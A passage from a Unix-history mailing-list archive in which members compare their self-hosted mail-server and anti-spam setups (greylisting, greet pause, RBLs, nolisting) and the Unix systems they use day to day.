> I tried running my own server on mcvoy.com but eventually gave up, the 
> spam filtering was a non-ending task.

I've been a Sendmail bigot for years; I don't like the way that Postfix 
works.

> If someone has a plug and chug setup for MX I'd love to try it.

My setup is highly customised for anti-spam controls, so may not suit 
everyone...  And yes, until the last spammer's head is on a pike (I'm
serious), it is indeed a non-ending task.  I simply won't outsource my
filtering to a third party.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From robert at timetraveller.org  Thu Sep 21 09:17:12 2017
From: robert at timetraveller.org (Robert Brockway)
Date: Thu, 21 Sep 2017 09:17:12 +1000 (AEST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
Message-ID: <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>

On Wed, 20 Sep 2017, Bakul Shah wrote:

Hi all.  I've lurked here for a long time but hardly posted.  I've only 
used *nix for 25 years which makes me a n00b in these parts.

I run my own mail server and use trusted RBLs, Greylisting (GL) and 
SpamAssassin (SA) in that order as I did many years ago.

I do some additional tricks like requring the sending MTA to hold the 
connection open for (IIRC) 10 seconds before I will accept traffic.  This 
drives up spammers costs (and everyone elses :( ) but definitely helps.

> I use postfix + postgrey. But greylisting doesn't seem to work
> any more. I detect spam using various scripts. As you put it,

I'd suggest GL works but not for the same reason it originally 
worked.

GL is great in combination with an RBL.  GL gives the RBLs time to get 
updated so that by the time they get around to resending there is a better 
chance the RBL will block the incoming spam.  It's reall the combination 
of greylisting and the RBLs which helps.

Perhaps not surprisingly the nature of spam has changed over the 20 years 
that I've run my own MTAs (Sendmail and then Postfix).  IMHO spam was most 
difficult to deal with perhaps 5-10 years ago.  It seems to me that the 
enforcement against organised crime online in recent years has reduced 
spam a lot.  IIRC I read that in recent years most spam was coming from 
only 7 or 8 organisations.  When one of those was shutdown some years ago 
I believe I saw a sudden drop in spam.

SA is probably of limited value today but it still catches some spam for 
me.  I never really bothered using a Bayesian filter inside SA or 
standalone.

FWIW I spend virtually no time maintaining my MTA.  I've been using the 
same approach for about 10 years and if anything I get far less spam than 
I did in 2007.

Cheers,

Rob


From gtaylor at tnetconsulting.net  Thu Sep 21 09:31:36 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 17:31:36 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
References: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
Message-ID: <11096124-8137-97f3-29c7-a88e67dc9cfd@tnetconsulting.net>

On 09/20/2017 04:54 PM, Steve Simon wrote:
> My spam filtering is all plan9 based but the ideals are all portable.

I would love to hear more about how (and why) you're using Plan9.  I'm 
naively curious.

> Greylisting and delaying a few secs before starting the SMTP
> conversation are my most successful filters, After this comes
> SPF and using spamhaus to validate the senders IP.

I forgot about pre-greeting delay.  I also use that.  It's amazing how 
much difference even 1 second makes.

I think it's also amazing how many spam bots try tricks to get around 
spam filtering, like connecting to a high order MX that hypothetically 
has less spam filtering.  -  JunkEmailFilter's Project Tarbaby does 
phenomenal work with that.  Plus, it feeds their RBL which I use as a 
data signal for SpamAssassin.  }:-)

> I reject some silly domains like localhost.com and usernames like
> user and test.

Are you referring to the purported sender?  Or something in your domain?

Are you referring to SMTP Authentication or email addresses?

I have disabled SMTP Authentication on my main MTA and only allow it on 
my MSA.

> I also have a list of regexps which match the reverse dns
> addresses of adsl blocks which catch many spam bots.

Thankfully I've not had to deal with those.  (At least not that I'm 
aware of.)

> The regexps sound like a lot of work but I have some scripts to
> analyse my logs and suggest  patterns, so its just a click or two
> I can block somthing like:
> 
> 	dhcp.[0-9]+.[0-9]+.[0-9]+.[0-9]+.adsl.nasty-isp.net

Nice.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/68de9162/attachment.bin>

From mparson at bl.org  Thu Sep 21 09:26:26 2017
From: mparson at bl.org (Michael Parson)
Date: Wed, 20 Sep 2017 18:26:26 -0500 (CDT)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
Message-ID: <alpine.NEB.2.20.1709201800480.5718@neener.bl.org>

On Wed, 20 Sep 2017, Ian Zimmerman wrote:
> On 2017-09-20 09:25, Larry McVoy wrote:
>
>> I tried running my own server on mcvoy.com but eventually gave up, the
>> spam filtering was a non-ending task.
>
> exim on a VPS.  Currently it is a linode running debian but I will have
> to find an outlet that supports BSD before systemd becomes unavoidable
> on debian, which I'm afraid is only a matter of time.

I run NetBSD on my Linode hosted VPS.  It took a little work, but it
does work.

I also use sendmail + 5s greet pause + greylisting + regex milter +
spamassassin.  I also don't accept mail from IPs that don't resolve.  I
have also wholesale blocked several IP blocks from China and Korea via
ipf that have been problematic.

Before taking those measures 12-15 years ago, spam was eating my inbox,
since then, my spam volume has been quite low, but I do see some IPs
connect and never say anything, probably scripts hung up on the greet
pause?  Dunno.  If I'm watching the logs while one of those is going on,
I'll just 'sudo route add -host badip gw 127.0.0.1' and forget about
them.

The stuff that makes it through all gets delivered through procmail
which sorts list mail into folders, stuff marked as spam into a spam
folder, and everything else gets delivered to my inbox and forwarded
to a second account which I point my phone at for reading inbox stuff,
generally, maybe 10-15 messages a day wind up in my inbox.  Spam mail
varies from day to day.  Some days it seems like I get tons, other days
it's just a few.

Mail is read either via alpine directly on the host, via roundcube
webmail on the host, or from my Android phone using the K-9 mail app.
All connect over imap/s provided by dovecot and Let's Encrypt SSL certs.

> spam is a problem but also a challenge ;-)
>
> I'll never switch to gmail as my primary address.  The day when it's the
> only way is the day the Net dies, as I see it, and the day when I look
> for a different line of work (which maybe I should have done a while ago).

Yeah, I thought about switching to google-hosted email, and I do have a
gmail account (more than one, actually), but those are not what I give
out as 'my' email address.  One is my 'android' account that is the
default account for my phone, one is used for signing up on websites
and other stuff I care less about.  Any real communication with me will
probably come through this address (mparson at bl.org).

I just don't like the idea of google reading my email, which is why I
don't even use their mail app on my phone, even to read mail sent to the
gmail accounts.  I do use their web interface for the gmail accounts,
but I also have alpine pointed at them, which is how I read most of my
mail.

-- 
Michael Parson
Pflugerville, TX
KF5LGQ


From robert at timetraveller.org  Thu Sep 21 09:37:40 2017
From: robert at timetraveller.org (Robert Brockway)
Date: Thu, 21 Sep 2017 09:37:40 +1000 (AEST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <alpine.DEB.2.11.1709210917530.3189@sirius.opentrend.net>

On Tue, 19 Sep 2017, Arthur Krewat wrote:

> What's your UNIX of choice to do normal "real" things these days?

Started with SunOS in 1992.

Got Linux on the desktop in 1994 and I've used it as my desktop ever 
since.  The only time I was worried about the continued viability of Linux 
as a desktop was around 2000-2002.  I found that was the period of maximum 
Microsoft (MS) browser dominance.

After that I think a number of changes improved the situation:

(1) MS started to more actively and honestly work with standards bodies 
and other vendors.

(2) Greater public recognition of the importance of open standards.

(3) MS desktop dominance became increasingly irrelevant with the rise of 
mobile computing.

(4) Chomebooks appeared, increasing the number of people using a Linux/X 
desktop even if they didn't realise it.

Cheers,

Rob


From dave at horsfall.org  Thu Sep 21 09:45:15 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 09:45:15 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <46b158e3-26fe-f697-5c74-840ff2a1cec6@kilonet.net>
References: <20170920162502.GN25650@mcvoy.com>
 <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
 <46b158e3-26fe-f697-5c74-840ff2a1cec6@kilonet.net>
Message-ID: <alpine.BSF.2.21.1709210941160.89458@aneurin.horsfall.org>

On Wed, 20 Sep 2017, Arthur Krewat wrote:

> I've built an extensive list of whitelisted email sources and 
> destinations (TUHS for example). Anything that doesn't match that 
> automatically goes into my SPAM folder.

Mot having a go at you personally, but I keep seeing this: "SPAM" is a 
trademark of Hormel (makers of that wonderful pink stuff), whereas "spam" 
is the junk stuff.

Hormel might not like having their trademark diluted...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From bakul at bitblocks.com  Thu Sep 21 09:57:13 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Wed, 20 Sep 2017 16:57:13 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: Your message of "Wed, 20 Sep 2017 23:54:34 +0100."
 <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
References: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
Message-ID: <20170920235713.1BED6156E523@mail.bitblocks.com>

What is needed  is an SMTP "Brita" filter!

  crud+legit email => smtp filter => legit email

This then goes to your usual MTA. Steve, this may be
the killer app for plan9!

On Wed, 20 Sep 2017 23:54:34 +0100 "Steve Simon" <steve at quintile.net> wrote:
"Steve Simon" writes:
> My spam filtering is all plan9 based but the ideals are all portable.
> 
> Greylisting and delaying a few secs before starting the SMTP
> conversation are my most successful filters, After this comes
> SPF and using spamhaus to validate the senders IP.
> 
> I reject some silly domains like localhost.com and usernames like
> user and test.
> 
> I also have a list of regexps which match the reverse dns
> addresses of adsl blocks which catch many spam bots.
> 
> The regexps sound like a lot of work but I have some scripts to
> analyse my logs and suggest  patterns, so its just a click or two
> I can block somthing like:
> 
> 	dhcp.[0-9]+.[0-9]+.[0-9]+.[0-9]+.adsl.nasty-isp.net
> 
> -Steve


From dave at horsfall.org  Thu Sep 21 10:00:21 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 10:00:21 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
Message-ID: <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>

On Thu, 21 Sep 2017, Robert Brockway wrote:

> I do some additional tricks like requring the sending MTA to hold the 
> connection open for (IIRC) 10 seconds before I will accept traffic. 
> This drives up spammers costs (and everyone elses :( ) but definitely 
> helps.

Err, it's not the spammer who's paying for it these days...

Or are you talking about greet pause, and not tarpitting?  Either way, 
both are effective.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From lm at mcvoy.com  Thu Sep 21 10:02:43 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 20 Sep 2017 17:02:43 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920235713.1BED6156E523@mail.bitblocks.com>
References: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
 <20170920235713.1BED6156E523@mail.bitblocks.com>
Message-ID: <20170921000243.GR25650@mcvoy.com>

On Wed, Sep 20, 2017 at 04:57:13PM -0700, Bakul Shah wrote:
> What is needed  is an SMTP "Brita" filter!
> 
>   crud+legit email => smtp filter => legit email
> 
> This then goes to your usual MTA. Steve, this may be
> the killer app for plan9!

I'd run plan9 (or *BSD or even SmartOS) if I could grab an install image
and change host/IP, add some users, aliases, and it just worked.

In fact, I'd pay for that.  If it actually worked I'd pay $500 for the
install image and $100/year for updates to the spam filter.

Corey, what do you charge for your email service?  All I need is inbound
spam filtering, I've got a working linux box that can receive and send
mail but my MX is rackspace.


From gtaylor at tnetconsulting.net  Thu Sep 21 10:08:28 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 18:08:28 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
Message-ID: <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>

On 09/20/2017 06:00 PM, Dave Horsfall wrote:
> Or are you talking about greet pause, and not tarpitting?  Either way, 
> both are effective.

I thought I had heard reports that tar pitting, for the purpose of 
slowing spammers down, didn't achieve much.

I wonder if I can find any of my old Sendmail hacks to bad recipient 
throttle that sent a longer and longer multi-line error message for when 
you exceeded the number of allowed back recipients.  }:-)



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/d9d35cbd/attachment.bin>

From robert at timetraveller.org  Thu Sep 21 10:38:28 2017
From: robert at timetraveller.org (Robert Brockway)
Date: Thu, 21 Sep 2017 10:38:28 +1000 (AEST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
Message-ID: <alpine.DEB.2.11.1709211034341.3189@sirius.opentrend.net>

On Thu, 21 Sep 2017, Dave Horsfall wrote:

> On Thu, 21 Sep 2017, Robert Brockway wrote:
>
>> I do some additional tricks like requring the sending MTA to hold the 
>> connection open for (IIRC) 10 seconds before I will accept traffic. This 
>> drives up spammers costs (and everyone elses :( ) but definitely helps.
>
> Err, it's not the spammer who's paying for it these days...
>
> Or are you talking about greet pause, and not tarpitting?  Either way, both 
> are effective.

I'm doing greet pause.  Just checked, it's currently set to 15s.

Rob


From dave at horsfall.org  Thu Sep 21 10:55:31 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 10:55:31 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
Message-ID: <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>

On Wed, 20 Sep 2017, Grant Taylor wrote:

> I thought I had heard reports that tar pitting, for the purpose of 
> slowing spammers down, didn't achieve much.

Dunno, as I've never used it, but there are some clever tricks that can be 
used to enforce RFC-compliancy (a lot of spamware is written by idiots who 
don't understand the finer points of SMTP):

     Enforce proper DNS configuration e.g. must resolve etc, and must
     actually exist.

     Make 'em wait a few seconds before sending your own banner, and drop
     the connection if they send beforehand.

     Set up an enormous greeting banner (many long lines); there is nothing
     in the RFC that says it has to be a single short line.

These simple measures alone cut out most of the crap; the rest are handled 
by various DNSBLs and my private access list.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From itz at very.loosely.org  Thu Sep 21 11:08:40 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Wed, 20 Sep 2017 18:08:40 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
References: <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
 <1274eb5fe2051d0052af14155ba75a0a@quintile.net>
Message-ID: <20170921010840.bi6vojllheotixgt@matica.foolinux.mooo.com>

On 2017-09-20 23:54, Steve Simon wrote:

> I also have a list of regexps which match the reverse dns
> addresses of adsl blocks which catch many spam bots.
> 
> The regexps sound like a lot of work but I have some scripts to
> analyse my logs and suggest  patterns, so its just a click or two
> I can block somthing like:
> 
> 	dhcp.[0-9]+.[0-9]+.[0-9]+.[0-9]+.adsl.nasty-isp.net

Doesn't pbl.spamhaus.org do this better for you, and maybe other similar
RBLs ?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From stewart at serissa.com  Thu Sep 21 11:30:21 2017
From: stewart at serissa.com (Lawrence Stewart)
Date: Wed, 20 Sep 2017 21:30:21 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
Message-ID: <B2BBBAD6-6D45-4492-A4F9-2044BB113989@serissa.com>

On Thu, 21 Sep 2017, Robert Brockway wrote:

> I do some additional tricks like requring the sending MTA to hold the connection open for (IIRC) 10 seconds before I will accept traffic. This drives up spammers costs (and everyone elses :( ) but definitely helps.



We have 3 MX records with weights 10 50 100, but only the second one has an SMTP server behind it.  This tends to discourage spammers.

(Postfix, Ubuntu, on a Rackspace instance)

-L



From dwalker at doomd.net  Thu Sep 21 11:47:27 2017
From: dwalker at doomd.net (Derrik Walker v2.0)
Date: Wed, 20 Sep 2017 21:47:27 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <6b20aae7-5075-5934-59a5-f92d664d2aa7@doomd.net>

On 09/19/2017 08:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
Linux. I miss legacy UNIX, but for better or worse, Linux won ( well, 
certainly better than Windoze, anyway ).

I use Fedore on Main Home desktop and Laptop, RHEL on my server, Ubuntu 
Server on my Lightsail instances, and Rapsian on my Rapsberry Pis.

And my day job is different versions of RHEL. Haven't touched a Legacy 
UNIX system at work in more than 10 years now.

Still keeping a Copy of IRIX around in case I should ever feel like 
getting another SGI.

Was a Mac user for Eons ( Running MachTen on Classic Mac OS and the 
Native BSD on OS X ). But about 7 or 8 years ago, I was due for a 
computer upgrade, figured out I really didn't need Mac OS and could do 
everything I needed in Linux, and could build my own Linux box for much, 
much cheaper than a Mac ( or even a Dell when I priced one out ).

- Derrik

-- 
-- Derrik

Derrik Walker v2.0, RHCE
dwalker at doomd.net

"Those UNIX guys, they think weird!" -- John C. Dvorak


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3986 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/190dd14d/attachment.bin>

From gtaylor at tnetconsulting.net  Thu Sep 21 11:52:13 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 19:52:13 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>
Message-ID: <c828e69a-8fa1-ac14-ce62-920e7b4a9dfd@tnetconsulting.net>

On 09/20/2017 06:55 PM, Dave Horsfall wrote:
> Dunno, as I've never used it, but there are some clever tricks that can 
> be used to enforce RFC-compliancy (a lot of spamware is written by 
> idiots who don't understand the finer points of SMTP):

Some of the ones that I've seen make me understand SMTP at all, or if 
they are using a library to abstract it.

>      Enforce proper DNS configuration e.g. must resolve etc, and must
>      actually exist.
> 
>      Make 'em wait a few seconds before sending your own banner, and drop
>      the connection if they send beforehand.

I do both of those.

>      Set up an enormous greeting banner (many long lines); there is nothing
>      in the RFC that says it has to be a single short line.

I've never thought about a long, multi-line banner.

> These simple measures alone cut out most of the crap; the rest are 
> handled by various DNSBLs and my private access list.

I agree with the first two, and I'd like to know more about the 
effectiveness of the third.



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Thu Sep 21 11:57:55 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 19:57:55 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <B2BBBAD6-6D45-4492-A4F9-2044BB113989@serissa.com>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <B2BBBAD6-6D45-4492-A4F9-2044BB113989@serissa.com>
Message-ID: <b8e8c001-2e7e-c8dc-397f-a3c4ddb4ee56@tnetconsulting.net>

On 09/20/2017 07:30 PM, Lawrence Stewart wrote:
> We have 3 MX records with weights 10 50 100, but only the second one 
> has an SMTP server behind it.  This tends to discourage spammers.

Do the first and third MX actually resolve to an IP?  Are they pingable?

Are you sending TCP resets?



-- 
Grant. . . .
unix || die


From rudi.j.blom at gmail.com  Thu Sep 21 12:28:59 2017
From: rudi.j.blom at gmail.com (Rudi Blom)
Date: Thu, 21 Sep 2017 09:28:59 +0700
Subject: [TUHS]  UNIX of choice these days?
Message-ID: <CAMYpm85MK9QTq1LRj1AR3iRRLGrArVFh663eNf-in5Pk_LRENQ@mail.gmail.com>

Maybe I'm the odd one out here, but at home I've only got a Windows/10
notebook :-)

Mind you, at work I play with
. aDEC 400xP, DECpc MTE, Prioris XL server running SCO UNIX 3.2V4.2
. AlphaServer DS10 running Digital Unix 4.0g
. AlphaServer DS15 running Tru64 Unix 5.1B
. HP(E) rx-servers rx1620, rx2620, rx2660 running HP-UX 11.23
. HP(E) rx-servers rx2800 i2/i4 running HP-UX 11.31
. DOS 6.22, Windows/Xp, Windows/7 clients

Maintaining applications which were conceived late 80s is fun :-)


From robert at timetraveller.org  Thu Sep 21 13:04:45 2017
From: robert at timetraveller.org (Robert Brockway)
Date: Thu, 21 Sep 2017 13:04:45 +1000 (AEST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <b8e8c001-2e7e-c8dc-397f-a3c4ddb4ee56@tnetconsulting.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <B2BBBAD6-6D45-4492-A4F9-2044BB113989@serissa.com>
 <b8e8c001-2e7e-c8dc-397f-a3c4ddb4ee56@tnetconsulting.net>
Message-ID: <alpine.DEB.2.11.1709211259480.3189@sirius.opentrend.net>

On Wed, 20 Sep 2017, Grant Taylor wrote:

> On 09/20/2017 07:30 PM, Lawrence Stewart wrote:
>> We have 3 MX records with weights 10 50 100, but only the second one has an 
>> SMTP server behind it.  This tends to discourage spammers.
>
> Do the first and third MX actually resolve to an IP?  Are they pingable?
>
> Are you sending TCP resets?

This is a well established technique known as Nolisting.  I believe the 
safest option is for the port to be unbound and thus for a TCP RST to be 
sent.

en.wikipedia.org/wiki/Nolisting

Rob



From gregg.drwho8 at gmail.com  Thu Sep 21 13:54:20 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Wed, 20 Sep 2017 23:54:20 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <CAC5iaNGmQSrrw_Zvi3Fi5G4YPDn2Cm3CuPmA0KUhBu=1H4iPfQ@mail.gmail.com>

Hello!
What do I run you're asking:
I run a Solaris 10 (March 2005) on SPARC for file delivery, and
specialty graphics management. And a gathering of Raspberry Pi devices
running their version of Debian. One running is a regular Pi.

Currently sleeping is a Slackware Linux 11.0 system.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
>
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
>
> This is all in my home office where I do all my personal/professional work.
>
> What do you all use for day-to-day development and general playing around
> with new stuff?
>
> AAK


From dave at horsfall.org  Thu Sep 21 14:14:32 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 14:14:32 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <c828e69a-8fa1-ac14-ce62-920e7b4a9dfd@tnetconsulting.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>
 <c828e69a-8fa1-ac14-ce62-920e7b4a9dfd@tnetconsulting.net>
Message-ID: <alpine.BSF.2.21.1709211348380.89458@aneurin.horsfall.org>

On Wed, 20 Sep 2017, Grant Taylor wrote:

Didn't I just see you somewhere else? :-)

> I've never thought about a long, multi-line banner.

Yep; as I recall, the RFC line length is no more than 254 chars (I think), 
with no limit on the number of continuation lines.  Try connecting to my 
server at horsfall.org (I'll make you wait around 10 seconds), then check 
out my RFC-compliant banner...  I'll keep an eye out for you in my logs 
:-)

> I agree with the first two, and I'd like to know more about the 
> effectiveness of the third.

Check out www.horsfall.org/spamlog.pdf for a nice pretty graph; the 
rejects on "banner" is the purple one on the top; the "reject" line is the 
red one, and the "spam" line (stuff that gets through) is pink (for SPAM, 
geddit?).

Note that many of the "banner" violations are from woodpeckers i.e. they 
keep trying until they either give up or I notice (and firewall them).

The tools behind this are still a work in progress, so I don't currently 
log the number of "wait" violations etc (it was implemented fairly 
recently).

(And yes, my HTML programming sucks.)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From robert at timetraveller.org  Thu Sep 21 14:45:28 2017
From: robert at timetraveller.org (Robert Brockway)
Date: Thu, 21 Sep 2017 14:45:28 +1000 (AEST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170921042528.E12C5156E523@mail.bitblocks.com>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <20170921042528.E12C5156E523@mail.bitblocks.com>
Message-ID: <alpine.DEB.2.11.1709211433550.20765@sirius.opentrend.net>

I received a private request for info on my Postfix config.  I'm happy to 
post to list.

This is the interesting bit:

https://pastebin.com/tNceD6zM

Running under Debian 8, soon to be upgraded to Debian 9.

Postgrey is listening on TCP/10023.

As an aside I just saw this in my mail queue:

# mailq
-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
2182087EA      1618 Thu Sep 21 10:41:07  robert at timetraveller.org
(host aneurin.horsfall.org[110.141.193.233] said: 550 5.7.1 
<dave at horsfall.org>... No reporting address for linode.com; see RFC 2142 
(in reply to RCPT TO command))
                                          dave at horsfall.org


That is aggressive standards compliance ;)

Rob


From wkt at tuhs.org  Thu Sep 21 14:49:06 2017
From: wkt at tuhs.org (Warren Toomey)
